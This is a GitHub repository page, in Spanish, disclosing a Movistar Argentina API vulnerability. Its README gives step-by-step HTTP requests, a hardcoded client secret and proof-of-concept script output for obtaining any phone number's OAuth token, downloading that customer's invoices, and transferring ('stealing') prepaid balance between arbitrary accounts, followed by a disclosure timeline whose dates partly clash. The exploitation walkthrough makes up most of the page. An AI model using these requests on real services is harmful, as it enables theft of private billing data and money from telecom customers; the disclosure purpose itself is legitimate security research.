Descarga la factura de cualquier cliente de Movistar Argentina
Switch branches/tags
Nothing to show
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
Capturas
.gitignore
README.md
bajar_facturas.py
requirements.txt
robar_saldo.py

README.md

Facturas Movistar

Vulnerabilidad que permite descargar las facturas de cualquier numero de telefono de movistar. Fue encontrada utilizando mitmproxy en la aplicacion móvil para Android de Movistar.

A continuación se detallan los pasos necesarios:

1er paso: Obtener token oauth del usuario deseado

Se debe enviar un request a: https://mi.movistar.com.ar cambiando el campo username por el numero de telefono deseado.

POST /oauth/token HTTP/1.1
Host: mi.movistar.com.ar
x-requested-with: com.services.movistar.ar
content-type: application/x-www-form-urlencoded
content-length: 91
 
grant_type=mobile&username=1112345678&client_id=appcontainer&client_secret=YXBwY29udGFpbmVy

Se recibirá como respuesta un documento JSON con el access_token que nos permitirá pedir las facturas del usuario. (Por motivos de seguridad y legibilidad el token fue truncado en el ejemplo)

{
  "access_token": "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDcyODUsInVzZXJfbmFtZSI6Inp0MzFxWWRtQWdTNEN3PT0iLCJzY29wZSI...",
  "token_type": "bearer",
  "expires_in": ...,
  "scope": "read trust write",
  "jti": "..."
}

2do paso: Obtener la lista de períodos disponibles

Cada período disponible se corresponde con una factura que podremos descargar. Se debe enviar un request a https://mi.movistar.com.ar utilizando el access_token que obtuvimos en el primer paso, colocandolo en el header authorization. (Por motivos de seguridad y legibilidad el token fue truncado en el ejemplo)

GET /v1/facturacion/periodos HTTP/1.1
Host: mi.movistar.com.ar
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDk2NDQsInVzZXJfbmFtZSI6InJ3T3FjSGl6U05...
content-type: application/x-www-form-urlencoded

Se recibirá como respuesta un documento JSON que contiene los períodos disponibles.

 {
  "status": 200,
  "date": "2016-08-21 ...",
  "data": [
    {
      ...
      "date": "2016-02-04",
      ...
    },
    {
      ...
      "date": "2016-03-04",
      ...
    },
    ...
  ]
}

De este documento, solo nos importan los campos date de cada período, ya que nos ayudarán a construir una URL para descargar la factura.

Paso 3: Descarga de los documentos

Armado ya con el token y los períodos disponibles, podemos proceder a descargarlos. Para ello, se debe enviar un request a la URL:

https://mi.movistar.com.ar/v1/facturacion/(resumen|comprobante)/<periodo>/pdf/

Por ejemplo, para descargar el comprobante usado en los pasos anteriores:

GET /v1/facturacion/comprobante/2016-03-04/pdf/ HTTP/1.1
Host: mi.movistar.com.ar
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDk2NDQsInVzZXJfbmFtZSI6InJ3T3FjSGl6U05...
content-type: application/x-www-form-urlencoded

Obtenemos como headers de la respuesta:

Server: Apache-Coyote/1.1
Content-Type: application/pdf
...

Y en el cuerpo, encontraremos un documento PDF del comprobante del período solicitado.

POC

En el archivo bajar_facturas.py se programo una aplicacion que automatiza lo explicado anteriormente, y descarga todas las facturas disponibles para un numero de telefono dado. Para poder ejecutarlo, se deben instalar las dependencias de Python 3 necesarias:

$ pip install -r requirements.txt

Luego, podemos proceder a ejecutar el programa:

$ ./bajar_facturas.py
Ingrese el numero de telefono: 1112345678
Token: eyJhbGciOiJIUzI1NiJ9.eyJl...
Encontradas facturas para fechas :['2016-02-04', '2016-03-04', ...]
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-02-04/paginas
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-02-04/paginas
Creating folder: .../Movistar_Exploit/1112345678/2016-02-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-05-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-05-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-05-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-05-04/resumen.pdf
Creating folder: .../Movistar_Exploit/1112345678/2016-06-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-06-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-06-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-06-04/pdf/
Error al descargar la factura del periodo: 2016-06-04
Creating folder: .../Movistar_Exploit/1112345678/2016-07-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-07-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-07-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-07-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-07-04/resumen.pdf
Creating folder: .../Movistar_Exploit/1112345678/2016-08-04
Requesting: https://mi.movistar.com.ar/v1/facturacion/comprobante/2016-08-04/pdf/
Saving image to: .../Movistar_Exploit/1112345678/2016-08-04/comprobante.pdf
Requesting: https://mi.movistar.com.ar/v1/facturacion/resumen/2016-08-04/pdf/

UPDATE: 28/10/2016 - Transferencias de Saldo

Agregado en la última actualización de movistar, se encuentra la funcionalidad para hacer transferencias de saldo entre cuentas. Utilizando el siguiente endpoint de la API, es posible transferir saldo entre dos cuentas arbitrarias, siempre y cuando se cumplan ciertos requerimientos sobre los planes de ambas.

POST /recarga/cargamesaldo HTTP/1.1
Host: mi.movistar.com.ar
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzE4NDk2NDQsInVzZXJfbmFtZSI6InJ3T3FjSGl6U05...
content-type: application/json

{
        'amount': saldo,
        'destination': destino
 }

En caso de resultar exitosa la transferencia, se recibirá como respuesta el siguiente mensaje:

{'date': '2016-11-07 ...', 'data': {'responseCode': '000', 'responseMessage': 'OK'}, 'status': 200}

En el archivo robar_saldo.py se encuentra un programa de ejemplo que explota ésta vulnerabilidad, y permite hacer transferencia entre dos cuentas cualquiera.

$ ./robar_saldo.py
Ingrese el numero de telefono victima: 1141234567
Ingrese el numero de telefono destino: 1141234567
Ingrese el saldo a robar: 1
Token: eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzkxNz...
Posting request to: https://mi.movistar.com.ar/v1/recarga/cargamesaldo
Response: {'data': {'responseMessage': 'OK', 'responseCode': '000'}, 'date': '2016-11-13 ...', 'status': 200}

Timeline

  • 21/08/2016: Primer contacto con Movistar Argentina via Twitter (@movistararg)
  • 21/08/2016: Atención al cliente de Movistar informa que va a derivar el informe al area correspondiente.
  • 22/08/2016: Contacto via atencionalclienteonline@telefonica.com. Informe de vulnerabilidad enviado.
  • 29/08/2016: Pedido por parte mia de una confirmación de recepción de informe, y derivación al área correspondiente.
  • 31/08/2016: Movistar confirma que el informe fue recibido y que el área de IT se encuentra trabajando en una nueva versión.
  • 14/10/2016: Luego de consultar por el estado del reporte, Movistar confirma que la vulnerabilidad ya fue resuelta. Se procede a publicar éste repositorio.
  • 16/10/2016: Movistar reconoce la vulnerabilidad, agradece el reporte, e informa que se está trabajando en resolverla.

Capturas

Primer contacto

22 de Agosto

Respuesta

22 de Agosto. Respuesta

Pedido de actualización

29 de Agosto

Respuesta

31 de Agosto. Respuesta

Nuevo pedido de actualización

14 de Noviembre

Respuesta informando que ya fue solucionado

14 de Noviembre. Respuesta